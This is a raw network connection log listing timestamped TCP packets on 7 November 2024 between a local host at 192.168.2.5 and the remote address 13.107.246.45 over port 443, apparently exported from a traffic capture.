Nov 7, 2024 23:48:10.281622887 CET	443	49988	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.281706095 CET	49988	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.281711102 CET	443	49988	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.286175013 CET	49992	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.286205053 CET	443	49992	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.286263943 CET	49992	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.286730051 CET	49992	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.286742926 CET	443	49992	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.287453890 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.287473917 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.287508965 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.287576914 CET	49987	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.287663937 CET	49987	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.287674904 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.287686110 CET	49987	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.287691116 CET	443	49987	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.289729118 CET	49993	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.289764881 CET	443	49993	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.289844036 CET	49993	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.289951086 CET	49993	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.289963961 CET	443	49993	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.296360016 CET	443	49990	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.296559095 CET	443	49990	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.296751022 CET	49990	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.296901941 CET	49990	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.296906948 CET	443	49990	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.296916962 CET	49990	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.296920061 CET	443	49990	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.298568964 CET	49994	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.298578978 CET	443	49994	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.298641920 CET	49994	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.298805952 CET	49994	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.298818111 CET	443	49994	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.307091951 CET	443	49991	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.307142973 CET	443	49991	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.307266951 CET	49991	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.307373047 CET	49991	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.307384014 CET	443	49991	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.307399035 CET	49991	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.307404041 CET	443	49991	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.309587002 CET	49995	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.309596062 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.309683084 CET	49995	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.309864044 CET	49995	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.309874058 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.343283892 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.343507051 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.343540907 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.343564034 CET	49989	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.343596935 CET	49989	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.343708038 CET	49989	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.343712091 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.343750000 CET	49989	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.343754053 CET	443	49989	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.345819950 CET	49996	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.345844984 CET	443	49996	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:10.345928907 CET	49996	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.346021891 CET	49996	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:10.346035957 CET	443	49996	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.019499063 CET	443	49993	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.019965887 CET	49993	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.019989014 CET	443	49993	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.020525932 CET	49993	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.020533085 CET	443	49993	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.022396088 CET	443	49992	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.022806883 CET	49992	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.022836924 CET	443	49992	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.023421049 CET	49992	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.023426056 CET	443	49992	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.027124882 CET	443	49994	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.027472973 CET	49994	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.027487993 CET	443	49994	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.027827978 CET	49994	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.027832985 CET	443	49994	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.073724031 CET	443	49996	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.073992014 CET	49996	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.074007034 CET	443	49996	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.074374914 CET	49996	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.074379921 CET	443	49996	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.106122017 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.106394053 CET	49995	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.106408119 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.106842995 CET	49995	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.106848001 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.153141022 CET	443	49992	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.153187990 CET	443	49992	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.153381109 CET	49992	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.156213999 CET	49992	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.156236887 CET	443	49992	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.156250000 CET	49992	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.156255007 CET	443	49992	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.157489061 CET	443	49993	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.157569885 CET	443	49993	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.157608986 CET	443	49993	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.157648087 CET	49993	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.157685995 CET	49993	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.157741070 CET	443	49994	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.157787085 CET	443	49994	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.157933950 CET	49994	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.160213947 CET	49997	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.160234928 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.160420895 CET	49993	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.160432100 CET	443	49993	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.160480022 CET	49997	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.161591053 CET	49994	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.161598921 CET	443	49994	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.161737919 CET	49994	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.161741972 CET	443	49994	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.163094997 CET	49997	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.163106918 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.165553093 CET	49998	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.165589094 CET	443	49998	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.165651083 CET	49998	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.165818930 CET	49998	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.165832043 CET	443	49998	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.165849924 CET	49999	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.165859938 CET	443	49999	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.165910959 CET	49999	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.166122913 CET	49999	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.166132927 CET	443	49999	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.204523087 CET	443	49996	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.204677105 CET	443	49996	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.207547903 CET	49996	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.232789993 CET	49996	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.232806921 CET	443	49996	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.232968092 CET	49996	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.232975960 CET	443	49996	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.237518072 CET	50000	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.237549067 CET	443	50000	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.237767935 CET	50000	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.240112066 CET	50000	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.240123987 CET	443	50000	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.244477034 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.245378017 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.245417118 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.245431900 CET	49995	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.245461941 CET	49995	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.245510101 CET	49995	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.245511055 CET	49995	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.245520115 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.245527983 CET	443	49995	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.247873068 CET	50001	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.247915030 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:11.248035908 CET	50001	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.248215914 CET	50001	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:11.248229027 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.104265928 CET	443	49999	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.104507923 CET	443	49998	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.104546070 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.104912043 CET	49998	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.104923964 CET	443	49998	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.105027914 CET	49999	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.105040073 CET	443	49999	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.105406046 CET	49998	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.105412006 CET	443	49998	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.105592012 CET	49997	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.105603933 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.105645895 CET	49999	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.105649948 CET	443	49999	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.105904102 CET	49997	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.105907917 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.106313944 CET	443	50000	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.106657982 CET	50000	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.106682062 CET	443	50000	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.106950998 CET	50000	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.106956005 CET	443	50000	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.234314919 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.237508059 CET	443	50000	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.237801075 CET	443	50000	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.237858057 CET	50000	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.237873077 CET	443	49998	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.237931013 CET	443	49998	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.238130093 CET	49998	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.238148928 CET	443	49999	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.238189936 CET	443	49999	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.238239050 CET	49999	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.239717960 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.239743948 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.239783049 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.239800930 CET	49997	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.239865065 CET	49997	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.241204023 CET	50001	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.241236925 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.241717100 CET	50001	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.241724014 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.241894007 CET	49997	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.241909981 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.241919041 CET	49997	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.241924047 CET	443	49997	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.243330956 CET	50000	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.243345976 CET	443	50000	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.243357897 CET	50000	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.243362904 CET	443	50000	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.243499994 CET	49998	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.243513107 CET	443	49998	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.243525028 CET	49998	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.243530989 CET	443	49998	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.244668961 CET	49999	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.244673967 CET	443	49999	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.244683981 CET	49999	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.244687080 CET	443	49999	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.246891975 CET	50002	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.246915102 CET	443	50002	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.247024059 CET	50002	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.248234987 CET	50003	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.248260975 CET	443	50003	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.248325109 CET	50003	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.248625040 CET	50002	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.248637915 CET	443	50002	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.248852015 CET	50003	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.248864889 CET	443	50003	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.249921083 CET	50004	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.249943018 CET	443	50004	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.250032902 CET	50004	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.250157118 CET	50004	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.250169039 CET	443	50004	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.271106958 CET	50005	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.271126032 CET	443	50005	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.271195889 CET	50005	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.271514893 CET	50005	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.271523952 CET	443	50005	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.368253946 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.368275881 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.368313074 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.368340015 CET	50001	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.368367910 CET	50001	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.369296074 CET	50001	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.369311094 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.369319916 CET	50001	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.369326115 CET	443	50001	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.388099909 CET	50006	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.388118982 CET	443	50006	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.388210058 CET	50006	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.389858961 CET	50006	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.389870882 CET	443	50006	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.975584984 CET	443	50002	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.976512909 CET	443	50004	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.977703094 CET	443	50003	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.981043100 CET	50002	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.981070042 CET	443	50002	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.981597900 CET	50002	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.981602907 CET	443	50002	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.981856108 CET	50004	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.981878042 CET	443	50004	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.982429028 CET	50004	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.982433081 CET	443	50004	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.982934952 CET	50003	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.982963085 CET	443	50003	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:12.983347893 CET	50003	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:12.983352900 CET	443	50003	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.017294884 CET	443	50005	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.018217087 CET	50005	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.018232107 CET	443	50005	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.024414062 CET	50005	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.024419069 CET	443	50005	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.108958960 CET	443	50004	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.109922886 CET	443	50004	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.110105991 CET	443	50002	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.110155106 CET	443	50002	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.110187054 CET	50004	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.110208035 CET	50002	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.110313892 CET	50004	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.110331059 CET	443	50004	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.110987902 CET	50002	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.110996962 CET	443	50002	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.111216068 CET	50002	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.111222029 CET	443	50002	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.117491961 CET	50007	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.117521048 CET	443	50007	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.118189096 CET	50007	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.120151997 CET	50008	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.120181084 CET	443	50008	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.120383024 CET	50008	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.120400906 CET	50007	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.120414972 CET	443	50007	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.120647907 CET	50008	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.120660067 CET	443	50008	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.131078959 CET	443	50006	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.131417990 CET	50006	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.131432056 CET	443	50006	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.132214069 CET	50006	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.132217884 CET	443	50006	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.155204058 CET	443	50003	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.155253887 CET	443	50003	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.155335903 CET	50003	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.155368090 CET	443	50005	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.155415058 CET	443	50005	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.155459881 CET	50005	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.155750036 CET	50003	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.155762911 CET	443	50003	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.155806065 CET	50003	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.155811071 CET	443	50003	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.156120062 CET	50005	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.156132936 CET	443	50005	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.156290054 CET	50005	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.156295061 CET	443	50005	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.161406040 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.161432981 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.161602020 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.163774014 CET	50010	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.163798094 CET	443	50010	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.164160013 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.164176941 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.164196014 CET	50010	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.164542913 CET	50010	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.164556026 CET	443	50010	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.277956009 CET	443	50006	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.278019905 CET	443	50006	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.278157949 CET	50006	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.278182983 CET	50006	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.278196096 CET	443	50006	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.278207064 CET	50006	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.278213024 CET	443	50006	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.279946089 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.279978991 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.280056000 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.280148029 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.280163050 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.874113083 CET	443	50007	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.875195980 CET	443	50008	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.891514063 CET	443	50010	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:13.915225983 CET	50007	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.930362940 CET	50008	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.943370104 CET	50010	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:13.968466997 CET	443	50009	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.006556034 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.010046005 CET	50009	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.054260969 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.286274910 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.286298990 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.287026882 CET	50011	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.287033081 CET	443	50011	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.287393093 CET	50007	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.287409067 CET	443	50007	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.287921906 CET	50007	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.287926912 CET	443	50007	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.288202047 CET	50008	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.288228989 CET	443	50008	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:14.289074898 CET	50008	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:14.289081097 CET	443	50008	13.107.246.45	192.168.2.5
